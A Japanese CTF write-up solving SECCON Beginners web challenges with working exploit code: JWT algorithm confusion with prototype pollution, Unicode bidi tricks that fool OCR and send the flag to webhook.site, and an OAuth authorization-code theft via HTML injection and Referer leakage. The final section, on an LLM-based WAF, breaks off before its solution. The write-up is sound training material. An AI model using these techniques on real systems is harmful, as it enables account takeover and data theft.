6/3の14時から24時間という競技時間で開催された。どれぐらい素早く解けるかの腕試しとして参加した。無事に開始から2時間でWeb問を全完でき、またdouble check, oooauthの2問についてはfirst bloodを取れてよかった。
- [Web 149] double check (41 solves)
- [Web 94] phisher2 (118 solves)
- [Web 341] oooauth (6 solves)
- [Web 56] Forbidden (431 solves)
- [Web 68] aiwaf (254 solves)
[Web 149] double check (41 solves)
Double check is very secure.
(URL)
author: yuasa, difficulty: medium
添付ファイル: double_check.tar.gz
添付ファイルを展開すると、Node.js製のアプリをdockerizeしたものが出てきた。もっとも重要なアプリのコード部分である index.js
は次の通り。
const express = require("express"); const session = require("express-session"); const jwt = require("jsonwebtoken"); const _ = require("lodash"); const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils"); const HOST = process.env.CTF4B_HOST; const PORT = process.env.CTF4B_PORT; const FLAG = process.env.CTF4B_FLAG; const app = express(); app.use(express.json()); app.use(session({ secret: generateRandomString(), resave: false, saveUninitialized: true, cookie: { secure: false } })); app.post("/register", (req, res) => { const { username, password } = req.body; if(!username || !password) { res.status(400).json({ error: "Please send username and password" }); return; } const user = { username: username, password: password }; if (username === "admin" && password === getAdminPassword()) { user.admin = true; } req.session.user = user; let signed; try { signed = jwt.sign( _.omit(user, ["password"]), readKeyFromFile("keys/private.key"), { algorithm: "RS256", expiresIn: "1h" } ); } catch (err) { res.status(500).json({ error: "Internal server error" }); return; } res.header("Authorization", signed); res.json({ message: "ok" }); }); app.post("/flag", (req, res) => { if (!req.header("Authorization")) { res.status(400).json({ error: "No JWT Token" }); return; } if (!req.session.user) { res.status(401).json({ error: "No User Found" }); return; } let verified; try { verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } ); } catch (err) { console.error(err); res.status(401).json({ error: "Invalid Token" }); return; } if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) { verified = _.omit(verified, ["admin"]); } const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; } res.send("No flag for you"); }); app.listen(PORT, HOST, () => { console.log(`Server is running on port ${PORT}`); });
フラグの参照箇所周辺の確認
この問題ではなにがゴールであるのかを考えるために、まずフラグがどこにあるかを確認する。つまり、環境変数やファイルに保存されていないか、あるいはハードコーディングされていないかといったように、どこにどう保存されているかを確認する。雑にコードを検索すると、以下の通り process.env
から持ってきていた。環境変数を参照しているっぽい。
const FLAG = process.env.CTF4B_FLAG
では、この FLAG
はどこで使われているのか。もしコード中で参照されていない場合は、それはRCEなり、OSコマンドインジェクションからの printenv
なりをしなければならないということを示唆しているけれども、今回はちゃんと POST /flag
のハンドラで使われていた。つまり、この FLAG
の参照箇所と、このアプリに存在している脆弱性とが関連している可能性が高そう。
app.post("/flag", (req, res) => { // … });
JWTとサーバ側でのセッション管理
コードをざっと眺めた結果として、req.header("Authorization")
と req.session
の両方を使っている点が気になった。署名したデータをクライアント側に保持させて、Authorization
ヘッダを使ってクライアントにそれを投げさせ、リクエストのたびにサーバで署名を検証するJSON Web Token(JWT)と、クライアントにはセッションIDのみを与えてCookieとして保持させ、サーバ側でセッションIDと実際のデータを紐づけた上で保持するセッション(express-session)と、なぜか2通りでログイン情報の保持をしている。いずれかひとつで十分なのではないか。後で詳しく確認したいと考える。
POST /register
の読解
このアプリの2つあるAPIのうち、まず POST /register
を詳しく確認する。ユーザの登録・ログイン処理を担うAPIっぽい。この部分に対応するコードはシンプル。最初に req.body
(リクエストボディ)から username
と password
というパラメータを持ってくる。
const { username, password } = req.body; if(!username || !password) { res.status(400).json({ error: "Please send username and password" }); return; }
ユーザ名とパスワードを持つ user
というオブジェクトを作成して、ユーザ名が admin
かつパスワードが getAdminPassword()
と一致していればそれにさらに user.admin = true
という形で admin
というプロパティを生やす。これで登録・ログインが完了したので、セッションとしてこのログイン情報を保持していく。
const user = { username: username, password: password }; if (username === "admin" && password === getAdminPassword()) { user.admin = true; } req.session.user = user;
なお、getAdminPassword
の実装は以下の通りで、推測はできない。
function generateRandomString() { return crypto.randomBytes(16).toString("hex"); } let adminPass = generateRandomString(); // … function getAdminPassword() { return adminPass; }
普通ならこれで十分なのだけれども、なぜかこのアプリはJWTも並行して使っており、JWTに関連する処理が続く。_.omit
によって password
というプロパティを削除した上で、jwt.sign
によって署名をしている。ここで署名に使われている暗号化アルゴリズムは RS256
だ。これは公開鍵暗号方式で、秘密鍵を keys/private.key
から読み込んでいる。
let signed; try { signed = jwt.sign( _.omit(user, ["password"]), readKeyFromFile("keys/private.key"), { algorithm: "RS256", expiresIn: "1h" } ); } catch (err) { res.status(500).json({ error: "Internal server error" }); return; }
これでできあがったJWTを、Authorization
ヘッダに含めて返す。
res.header("Authorization", signed); res.json({ message: "ok" });
POST /flag
の読解
FLAG
が参照されている箇所から上方向に読んでいく。FLAG
は特定の条件を満たすとレスポンスとして返ってくるらしい。ではその条件はなにかというと、token.admin && user.admin
らしい。token
の出元は Object.assign({}, verified)
、user
の出元は Object.assign(req.session.user, verified)
と、いずれもなんらかのオブジェクトに verified
という変数に存在しているプロパティを、Object.assign
でコピーする形で作られている。
const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; }
verified
とはなにか。これはクライアントから投げられた Authorization
ヘッダにあるJWT(つまり、POST /register
でログイン後に発行されたもの)について、keys/public.key
に保存されている公開鍵を使い検証した上で、そのデータを使っている。もしこの検証が失敗すれば、つまり変に改ざんすれば、それがバレて jwt.verify
によって例外が発生し、そこで処理が打ち切られる。
サーバ側に保存されているセッション(req.session
)もこのあたりで使われている。保存しておいたログイン情報について、もしそれが admin
ユーザのものでない場合は、JWTから取ってきたデータから、さらに _.omit
によって admin
というプロパティを削除している。たとえなんらかの方法でJWTを偽造できて、"admin": true
のようなプロパティを追加できたとしても、ここでサーバ側で保存されているセッションとの不整合がバレて弾かれるというわけだ。…わざわざJWTを使わずとも、req.session
だけで十分なのでは?
let verified; try { verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } ); } catch (err) { console.error(err); res.status(401).json({ error: "Invalid Token" }); return; } if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) { verified = _.omit(verified, ["admin"]); }
JWTの検証に関する疑問と、JWTの偽造
ところで、POST /flag
におけるJWTの検証処理について気になった点がある。POST /register
での署名時には RS256
を利用していたが、その検証に使用するアルゴリズムとして algorithms: ["RS256", "HS256"]
と、共通鍵暗号方式の HS256
もあわせて許容するようになっている。
verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } );
JWTはヘッダ部分に alg
というパラメータがあり、ここで指定されたアルゴリズムによってJWTの検証がなされる。alg
はユーザによって容易に改変できるため、jwt.verify
の algorithms
オプションのように使用可能な署名アルゴリズムを指定することで、alg
の改変による攻撃への対策を行う。しかし、ここでは RS256
と HS256
のいずれでも構わないということになっている。
もし alg
を HS256
に改変するとどうなるか。ここで鍵として指定されている引数は keys/public.key
の内容であるので、本来であれば RS256
の公開鍵として使われるべきところ、それが HS256
の共通鍵として使われてしまうことになる。つまり、keys/public.key
の内容が入手できれば、それを HS256
の共通鍵として署名することで、JWTの偽造ができてしまう。
実は keys/public.key
も添付ファイルに含まれている。問題サーバに発行されたJWTを、jwt.ioやjwt.msで添付されている keys/public.key
で検証したところ、正規のものだと判定された。これは配布用に新たに生成された公開鍵ではなく、ちゃんと問題サーバでも使われているものらしい。なるほど、これでJWTの偽造ができる。
token.admin && user.admin
のバイパス
token
, user
にはJWTから持ってきたデータである verified
から Object.assign
でプロパティをコピーしてきているのだった。ここから token.admin
と user.admin
をそれぞれtruthyな値にできないか。
ここで思い出されるのはPrototype Pollutionだ。これを利用すると、たとえば以下のように、プロパティのコピー元に __proto__
というプロパティを生やすことで、コピー先の obj.abc
のプロパティへのアクセス時に、コピー元の __proto__
に含まれていたオブジェクトの abc
の値を返させることができるようになる。
つまり、verified
の __proto__
というプロパティに、{admin: true}
のようなオブジェクトを入れておくことで、先程の token.admin && user.admin
を突破することができるのではないか。
const obj = Object.assign({}, JSON.parse(`{ "__proto__": {"abc": 123} }`)); console.log(obj.abc);
exploitを書く
PythonとRequestsを使ってexploitを書いていく。以下のような流れを実装したい。
POST /register
で適当なユーザ名でログインkeys/public.key
を使いつつ、__proto__
というキーに{admin: true}
という値を持つJWTを偽造POST /flag
に、発行されたCookieと偽造したJWTを投げて攻撃
POST /flag
を叩く際にはちゃんと POST /register
でのログイン時に発行されたセッションIDを持っていなければならないので、requests.Session
でCookieを保持するようにする。それから、PythonでJWTを扱えるPyJWTは、新しいバージョンだと HS256
で公開鍵っぽい鍵を投げると怒られてしまうので、まだこの機能が入っていない0.4.3を使うようにする。
import requests import jwt # 0.4.3 key = open('keys/public.key','rb').read() s = requests.Session() BASE = 'https://double-check.beginners.seccon.games' s.post(f'{BASE}/register', json={ 'username': str(uuid.uuid4()), 'password': str(uuid.uuid4()) }) r = s.post(f'{BASE}/flag', headers={ 'Authorization': jwt.encode({ '__proto__': {'admin': True} }, key, algorithm='HS256') }) print(r.text)
実行すると、フラグが得られた。
$ python3 s.py Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}
14時21分に解けた。first blood!
[Web 94] phisher2 (118 solves)
目に見える文字が全てではないが、過去の攻撃は通用しないはずです。
(URL)
author: xryuseix, difficulty: medium
添付ファイル: phisher2.tar.gz
添付ファイルを展開すると、今度はFlask製のアプリが出てきた。このWebアプリは /
に対するGETとPOSTしかできない。
app.py
の読解
まずエントリーポイントである app.py
は以下の通り。POSTされたJSONについて text
というプロパティを取り出し、その値を一時ファイルのHTMLに書き込んでいる。share2admin
という別の関数に text
と一時ファイルのパスを渡した上で、その返り値をJSONとして返している。
import os import uuid from admin import share2admin from flask import Flask, request app = Flask(__name__) @app.route("/", methods=["GET"]) def index(): return open("./index.html").read() @app.route("/", methods=["POST"]) def chall(): try: text = request.json["text"] except Exception: return {"message": "text is required."} fileId = uuid.uuid4() file_path = f"/var/www/uploads/{fileId}.html" with open(file_path, "w", encoding="utf-8") as f: f.write(f'<p style="font-size:30px">{text}</p>') message, ocr_url, input_url = share2admin(text, fileId) os.remove(file_path) return {"message": message, "ocr_url": ocr_url, "input_url": input_url} if __name__ == "__main__": app.run(debug=True, host="0.0.0.0")
admin.py
の読解
share2admin
は admin.py
で定義されている。input_text
は元の text
で、fileId
は先程HTMLを書き込んだ一時ファイルのパスだ。share2admin
は主に openWebPage
を呼び出してOCRするパートと、その結果と input_text
について find_url_in_text
でそれぞれURLっぽい文字列を抜き出すパートに分かれている。
それからもう一つ重要な点があり、requests.get(f"{input_url}?flag={FLAG}")
と input_text
から抽出されたURL(input_url
)にクエリ文字列でフラグを書き足してアクセスしている。つまり、ここでwebhook.siteのような input_url
にアクセスログを入手可能なURLを入れることができれば勝ち。
ただし、この処理を叩かせるには条件があり、OCRの結果から抽出されたURLが APP_URL
、つまり問題サーバのURLで始まっている必要がある。OCRの結果と元々の結果を食い違ったものにさせて、前者からは問題サーバのURLが、後者からはwebhook.siteのURLが抽出されるようにしたい。
def share2admin(input_text: str, fileId: str): # admin opens the HTML file in a browser... ocr_text = openWebPage(fileId) if ocr_text is None: return "admin: Sorry, internal server error." # If there's a URL in the text, I'd like to open it. ocr_url = find_url_in_text(ocr_text) input_url = find_url_in_text(input_text) # not to open dangerous url if not ocr_url.startswith(APP_URL): return "admin: It's not url or safe url.", ocr_url, input_text try: # It seems safe url, therefore let's open the web page. requests.get(f"{input_url}?flag={FLAG}") except Exception as e: print(e) return f"admin: I could not open that inner link. {e}", ocr_url, input_text return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
OCR関連の処理は以下の通り。特に変わったものはなく、Seleniumを使ってChromiumに先程のHTMLのスクリーンショットを撮影させ、PyOCRを使ってTesseractにそのスクリーンショットからOCRをさせているというだけ。
# read text from image def ocr(image_path: str): tool = pyocr.get_available_tools()[0] return tool.image_to_string(Image.open(image_path), lang="eng") def openWebPage(fileId: str): try: chrome_options = webdriver.ChromeOptions() chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--headless") chrome_options.add_argument("--disable-gpu") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--window-size=1920,1080") driver = webdriver.Chrome(options=chrome_options) driver.implicitly_wait(10) url = f"file:///var/www/uploads/{fileId}.html" driver.get(url) image_path = f"./images/{fileId}.png" driver.save_screenshot(image_path) driver.quit() text = ocr(image_path) os.remove(image_path) return text except Exception: return None
解く
どうやって share2admin
をごまかすかというところで、右から左に書く、いわゆるRTLのための制御文字を思いついた。ここからは強制的に右から左に書くということを意味するRLO(U+202E)と、それからここからは強制的に左から右に書くということを意味するLRO(U+202D)を組み合わせればよいのではないか。
具体的には、\u202ehttp://a.example.com/\u202dhttp://b.example.com/
は以下のように表示されるので、ocr_url
は http://b.example.com//moc.elpmaxe.a//:ptth
になる一方で、input_url
は http://a.example.com/
になるはずだ。
これを利用していく。以下のようなリクエストを送ることでうまくいった。/?flag=ctf4b%7Bw451t4c4t154w?%7D
というアクセスログが残っており、フラグが得られた。
$ curl -X POST -H "Content-Type: application/json" -d '{"text":"\u202ehttp://example.com/\u202dhttps://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games {"input_url":"\u202ehttp://example.com/\u202dhttps://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar/moc.elpmaxe//:ptth"}
ctf4b{w451t4c4t154w?}
15時7分に解けた。2番目。
[Web 341] oooauth (6 solves)
It is secure if you use oauth.
client: (URL)
authorization server: (URL)
author: yuasa, difficulty: hard
添付ファイル: oooauth.tar.gz
Node.js製のアプリで、どうやらOAuth 2.0を実装したらしい。問題文からもわかるようにクライアントと認可サーバの2つのサーバが存在しており、この両方のソースコードが添付ファイルとして与えられている。
フラグの場所の確認
とりあえずフラグの場所を確認してみようと flag
で検索してみたところ、まずクライアント側の GET /flag
に以下のような処理があった。セッションにアクセストークンが保存されており、これをもとに認可サーバの /flag
を叩く。
app.get("/flag", async(req, res) => { if (!req.session.access_token) { res.render( "error", { error: "you are not logged in", error_description: "" }); return; } const flagUrl = "http://server:3001/flag"; const params = new URLSearchParams(); params.append("access_token", req.session.access_token); try { const response = await axios.post(flagUrl, params, { headers: { "Content-Type": "application/x-www-form-urlencoded" } }); res.send(response.data); } catch(err) { res.render("error", { error: err.response.data.error, error_description: "" }); } });
認可サーバの POST /flag
のコードは次の通り。なるほど、admin
というユーザとしてログインできたらよいらしい。
app.post("/flag", (req, res) => { const access_token_value = req.body.access_token; const access_token = access_tokens[access_token_value]; if (!access_token) { res.status(400).json({ error: "invalid token" }); return; } const now = new Date(Date.now()); if (now > access_token.expires_at) { access_tokens.delete(access_token.value); res.status(400).json({ error: "The access token has expired." }); return; } const user = getUserById(access_token.user_id); if (!user) { res.status(400).json({ error: "The user not found" }); return; } if (user.username === "admin") { res.status(200).send(`Congratulations! Here's your flag: ${FLAG}`); } else { res.status(200).send("No flag for you"); } });
認可サーバには通報機能があり、/report
からクエリ文字列を与えることで、認可サーバの /auth
にそのクエリ文字列を付与した上でbotがアクセスしてくれるらしい。このbotは以下のようなコードで実現されている。PuppeteerでChromiumにそのURLへとアクセスさせているが、その際に admin
というユーザとしてログインしている。
やるべきことが見えてきた。この通報をトリガーとして、なんらかの形で admin
のアクセストークンやら認可コードやらを盗み取ることができるのだろう。
// This is an outline of the crawler's program when query parameters // are sent using the Report function of the authorization server(https://oooauth.beginners.seccon.games:3001/report). const USERNAME = process.env.USERNAME; // admin username const PASSWORD = process.env.PASSWORD; // admin password const SERVER_URL = process.env.SERVER_URL; const browser = await puppeteer.launch({ args: [ "--no-sandbox", "--disable-background-networking", "--disk-cache-dir=/dev/null", "--disable-default-apps", "--disable-extensions", "--disable-gpu", "--disable-sync", "--disable-translate", "--hide-scrollbars", "--metrics-recording-only", "--mute-audio", "--no-first-run", "--safebrowsing-disable-auto-update", ], }); const page = await browser.newPage(); const targetURL = new url.URL(SERVER_URL); targetURL.pathname = "/auth"; // query: ex. ?response_type=code&...&scopes=email profile if (query) { const searchParams = new url.URLSearchParams(query); targetURL.search = searchParams.toString(); } await page.goto(targetURL.toString(), { waitUntil: "networkidle2", timeout: 3000, }); await page.waitForSelector("input[name=username]"); await page.type("input[name=username]", USERNAME); await page.type("input[name=password]", PASSWORD); await page.click("input[name=approved]"); await page.waitForTimeout(1000); await page.close(); await browser.close();
認可の流れ
クライアントのURLにアクセスすると、次のような画面が表示された。
ここから Login
を押すと、以下のように認可サーバにリダイレクトされて、クライアントを認可するかどうかを聞かれる。
認可すると再びクライアントにリダイレクトされ、一連の流れが完了する。今回は guest
としてログインしたが、クライアントにその情報が渡されていることがわかる。
この流れについてもうちょっと詳しく確認したい。ChromeのDevToolsを開き、NetworkタブでPreserve log(リダイレクトされても、それ以前の通信の情報を保持する)をオンにした上で、ログを取りつつクライアントの認可を試してみる。以下のようにちゃんとログが取れた。
Login
以降の流れは次の通り。ちなみに、Login
ボタンは /auth
へのリンクとなっている。
- クライアントの
GET /auth
にアクセス - 認可サーバの
GET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile
にリダイレクトされる - ログインフォームが表示されるので、認証情報を入力し認可ボタンを押す
- 認可サーバの
POST /approve
にリクエストが飛ぶ - クライアントの
GET /callback?code=(認可コード)
にリダイレクトされる - クライアントでのログイン後の画面が表示される
認可コードグラント(Authorization Code Grant)と呼ばれる認可フローっぽい。ここで見えていないこととして、5の GET /callback?code=(認可コード)
でクライアントは認可コードを得るわけだけれども、そこでさらにクライアントは認可サーバのトークンエンドポイントというAPI(/token
)に認可コードを投げて、リソースにアクセスするためのアクセストークンを得るというステップがある。
脆弱性その1: スコープからのHTML Injection
わざわざPuppeteerを使っているわけだから、なにかしらWebブラウザ関連の脆弱性があるだろうとまず考える。
クライアントも認可サーバもHTMLの生成にEJSというテンプレートエンジンを使っているが、その文法の中には <%- foo %>
のようにすると foo
という変数をエスケープせずに出力するというものがある。これを探してみると、クライアントの index.ejs
に以下のような記述があった。
<% if(scopes) { %> <p>Your Permissions:</p> <ul> <% scopes.forEach(function(scope) { %> <li><%- scope %></li> <% }); %> </ul> <% }; %>
これはログインが完了した後に、クライアントの持っているアクセストークンでアクセス可能なリソースのスコープ(たとえば、email
や profile
)を示すものだ。先程の流れでいう2の GET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile
について、たとえば scopes
を email+profile+<s>hoge</s>
にするとどうなるだろうか。試してみると、以下のように <s>hoge</s>
がHTMLとしてそのまま表示された。おっ。
ここからJavaScriptコードの実行に持ち込む(XSSに持ち込む)ことができれば、そのまま fetch('/flag')
させるだけでフラグが得られるのだけれども、残念ながらできない。というのも、以下のようにレスポンスヘッダでContent Security Policy(CSP)が設定されているためだ。
これは、JavaScriptコードを実行するには、script
要素に nonce
属性として 483aa3b56624e396
という値が指定されている必要があることを意味する。このnonceはアクセスのたびに新しく生成されるもので、推測することはできない。
Content-Security-Policy: script-src 'nonce-483aa3b56624e396'; connect-src 'self'; base-uri 'self'; object-src 'none';
うーむと思ったところで、クライアントのHTMLの head
に <meta name="referrer" content="no-referrer-when-downgrade">
というタグが含まれていることに気づいた。no-referrer-when-downgrade
は、たとえば <img src=//example.com>
のように別オリジンのリソースが埋め込まれているという状況で、埋め込み元がHTTPSで埋め込み先がHTTPSなどの場合ではリファラが、パスやクエリ文字列も含めて送信されるという設定をするものだ。
先程の認可フローのステップ5を見るとわかるように、HTML Injectionが発生するのはクライアントの /callback?code=(認可コード)
にアクセスしたタイミングだ。ここで <img src=//example.com>
のように適当なWebサイトを埋め込んでやると、//example.com
に認可コードありのリファラがくっついてリクエストが飛ぶ。//example.com
をアクセスログの取得が可能なURLに変えると、そのログに残ったリファラから認可コードが盗み出せるわけだ。
ただし、これには問題がある。認可サーバのトークンエンドポイントである POST /token
だけれども、クライアントが認可コードを投げてきて、こいつがアクセストークンを払い出した段階で、codes.delete(code.value);
とその認可コードが無効化されてしまっている。つまり、このHTML Injectionで認可コードが盗み出せたとしても、それを使おうとした段階ですでにそれは使えなくなっているというわけだ。なんとかならないだろうか。
脆弱性その2: redirect_uri
の検証の不徹底と、redirect_uri
への認可コードの追加処理の誤り
なんとかして認可コードを失効させない方法がないだろうかと考えていたが、なかなか見つからない。悩んでいたところで、あらかじめHTML Injectionの発生するような認可コードを作らせておいて、上述の認可フローでいうステップ5の段階で、リダイレクト先の取得にとどめておいて、そのままアクセスはせず(使用させず)、使われていない認可コードだけを取り出すというのはどうかと考えた。
そして、たとえば上述の認可フローでいうステップ5で、/callback?code=(HTML Injectionが起こる認可コード)&code=(認可サーバが追加したadminの認可コード)
のようなURLにリダイレクトさせられるようにして、ここでクライアントが後者の認可コードでなく前者の認可コードを参照するようにできないかと考えた。そうすれば、HTML Injectionを起こしつつ、adminの認可コードはここで参照されていないので、使用可能なまま盗み取ることができる。
そのために都合のよい点が2つあった。ひとつは、認可サーバの /auth
において、認可コードをクエリ文字列に追加してリダイレクトする先を指定する redirect_uri
のチェックが甘いという点だ。指定されたURLについてオリジンとパスのみが、事前に設定されたリストに含まれているかをチェックしている。これで、https://example.com
のような、許可リストに存在するURLとオリジンやパスの異なるURLが指定されても弾かれるけれども、オリジンがクライアントのもので、かつパスが /callback
でさえあれば、https://client:3000/callback?hoge=fuga
のようにクエリ文字列が追加されていても気づかれない。
if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) { res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" }); return; }
もうひとつは、ユーザーエージェントによってクライアントによるリソースへの認可が許可された段階(上述のフローでいう4)で、認可サーバが一旦セッションに保存しておいた先程の redirect_uri
について、それに code=(認可コード)
を追加するという処理を行っている点だ。これで、もし元々 ?hoge=fuga
のようなゴミが redirect_uri
に含まれていたとしても、それに code
を追加した ?hoge=fuga&code=(認可コード)
という形で保持された上でリダイレクトがなされる。
const client = req.session.client; const scopes = req.session.scopes; const redirect_uri = req.session.redirect_uri; req.session.destroy(); const redirectUrl = new URL(redirect_uri); // … codes.set(code.value, code); redirectUrl.searchParams.append("code", code.value); res.redirect(redirectUrl.href);
これで、botによる認可後に /callback?code=(HTML Injectionが起こる認可コード)&code=(認可サーバが追加したadminの認可コード)
のようなパスへのリダイレクトができるとわかったけれども、まだ問題はある。実は、このままだと認可サーバは(使われてしまうと都合が悪い)後者を参照してしまうのだ。
というのも、code=hoge&code=fuga
のようなリクエストボディであった場合には、req.body.code
は ['hoge', 'fuga']
のような配列になるのだけれども、認可サーバは req.body.code
が配列であった場合を想定しており、その際は一番最後の要素を認可コードとして採用するという処理をしているためだ。
const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;
ここでまた若干悩むが、以前(どれだったかは忘れてしまったが)なにかのCTFでクエリ文字列のパーサである qs
の挙動を探っていたことがあったのを思い出した*1。その際に、code[2]=hoge&code=fuga&code=piyo
のようにしてやると、次のように、クエリ文字列では hoge
, fuga
, piyo
という順番で出現するが、パースした結果の配列は fuga
, piyo
, hoge
という順番になるという挙動も見つけていた。
> const qs = require('qs'); undefined > qs.parse('code[2]=hoge&code=fuga&code=piyo') { code: [ 'fuga', 'piyo', 'hoge' ] }
今回の状況だと、ここで piyo
は admin
の認可コードということになる。hoge
をHTML Injectionの起こる認可コードにしてやることで、認可サーバはそれが認可コードとして渡されたものとして判断する。これによってHTML Injectionを発生させつつ、admin
の認可コードを未使用のまま盗み出すことができる。
解く
ここまでのまとめとして、まずHTML Injectionの起こるような認可コードを生成させるコードを書く。
import requests import re s = requests.Session() s.get('https://oooauth.beginners.seccon.games:3001/auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=email+profile+%3Cimg/src%3dhttps://webhook.site/…%3E') r = s.post('https://oooauth.beginners.seccon.games:3001/approve', data={ 'username': 'guest', 'password': 'guest', 'approved': 'Approve' }, allow_redirects=False) code = re.findall(r'code=(.+)', r.text)[0] print(f'?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback?code[2]%3d{code}%26code%3dfuga&scopes=email+profile')
これを使って、そのまま認可するとHTML Injectionで未使用の認可コードを盗み出せるクエリ文字列ができあがるので、それを通報する。すると、次のようなリクエストが来た。ちゃんとリファラに admin
の認可コードが含まれている。
クライアントの /callback?code=(盗み出した認可コード)
にアクセスすると、admin
としてログインしたというメッセージが表示された。
このまま /flag
にアクセスすると、フラグが得られた。
ctf4b{J00_4re_7HE_vUlN_cH41n_m457eR_0F_04U7H}
15時43分に解けた。first blood! 添付ファイルを展開したときに、クライアントと認可サーバであわせて500行ちょっととはいえ、OAuth 2.0かあ、面倒くさいなあ…と思ってしまった割にはとても早く解けて嬉しかった。解けた~!!!!! と喜びつつ、ウィニングランのような気持ちで次の2問に進んだ。
[Web 56] Forbidden (431 solves)
You don't have permission to access /flag on this server.
(URL)
author: Tsubasa, difficulty: beginner
添付ファイル: Forbidden.tar.gz
添付ファイルを展開すると、次のようなシンプルなNode.js向けのコードが出てきた。/flag
にアクセスするとフラグが得られるけど、でもリクエストのパスに /flag
が含まれていたら403が出る。どうしろと。
var express = require("express"); var app = express(); const HOST = process.env.CTF4B_HOST; const PORT = process.env.CTF4B_PORT; const FLAG = process.env.CTF4B_FLAG; app.get("/", (req, res, next) => { return res.send('FLAG はこちら: <a href="/flag">/flag</a>'); }); const block = (req, res, next) => { if (req.path.includes('/flag')) { return res.send(403, 'Forbidden :('); } next(); } app.get("/flag", block, (req, res, next) => { return res.send(FLAG); }) var server = app.listen(PORT, HOST, () => { console.log("Listening:" + server.address().port); });
今回使われているExpressは、デフォルトだとcase-insensitiveにルーティングをするらしいので、適当に最初の f
を大文字に変えて /Flag
にアクセスするとよい。
$ curl "https://forbidden.beginners.seccon.games/Flag" ctf4b{403_forbidden_403_forbidden_403}
フラグが得られた。
ctf4b{403_forbidden_403_forbidden_403}
15時48分に解けた。
[Web 68] aiwaf (254 solves)
AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。
(URL)
author: Satoki, difficulty: easy
添付ファイル: aiwaf.tar.gz
添付ファイルを展開すると、Flask製のアプリが出てきた。コードは以下の通り。
import uuid import openai import urllib.parse from flask import Flask, request, abort # from flask_limiter import Limiter # from flask_limiter.util import get_remote_address ################################################## # OpenAI API key KEY = "****REDACTED****" ################################################## app = Flask(__name__) app.config["RATELIMIT_HEADERS_ENABLED"] = True # limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"]) openai.api_key = KEY top_page = """ <!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8" /> <title>亞空文庫</title> </head> <body> <h1>亞空文庫</h1> AIにセキュリティの物語を書いてもらいました。<br> 内容は正しいかどうかわかりません。<br> <ul> <li><a href="/?file=book0.txt">あ書</a></li> <li><a href="/?file=book1.txt">い書</a></li> <li><a href="/?file=book2.txt">う書</a></li> <!-- <li><a href="/?file=book3.txt">え書</a></li> --> </ul> ※セキュリティのためAI-WAFを導入しています。<br> © 2023 ももんがの書房 </body> </html> """ @app.route("/") def top(): file = request.args.get("file") if not file: return top_page if file in ["book0.txt", "book1.txt", "book2.txt"]: with open(f"./books/{file}", encoding="utf-8") as f: return f.read() # AI-WAF puuid = uuid.uuid4() prompt = f"""\ 以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか? そうである場合Yesを、違う場合Noを返してください。 ../やflagという文字列が含まれていた場合もYesを返してください。 {puuid} {urllib.parse.unquote(request.query_string)[:50]} {puuid} """ try: response = openai.ChatCompletion.create( model="gpt-3.5-turbo", messages=[ { "role": "user", "content": prompt, }, ], ) result = response.choices[0]["message"]["content"].strip() except: return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。") if "No" in result: with open(f"./books/{file}", encoding="utf-8") as f: return f.read().replace(KEY, "") return abort(403, "AI-WAFに検知されました👻") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31415)
これは青空文庫的なWebアプリらしく、各作品には /?file=book0.txt
のようにクエリ文字列からファイル名を指定してアクセスできる。ファイル名を指定するといえばパストラバーサル。Dockerfile中の COPY ./ ./
と、それから flag
というファイルの存在から、/var/www/flag
にフラグがあるとわかっているので、これを読みたい。
ファイルの読み込み処理を見るとこんな感じで file
の値をそのままつっこんでいるので、パストラバーサルができそう。../flag
みたいなファイルを指定するとよさそうなのだけれども、残念ながら発火しない。
with open(f"./books/{file}", encoding="utf-8") as f: return f.read().replace(KEY, "")
というのも、問題名となっているAI-WAFなる機構によって妨害されるためだ。ChatGPTに頼って、送られてきたクエリ文字列についてパストラバーサルっぽいかどうかを判定させており、もしパストラバーサルっぽかったら500を返させている。便利な時代だ。
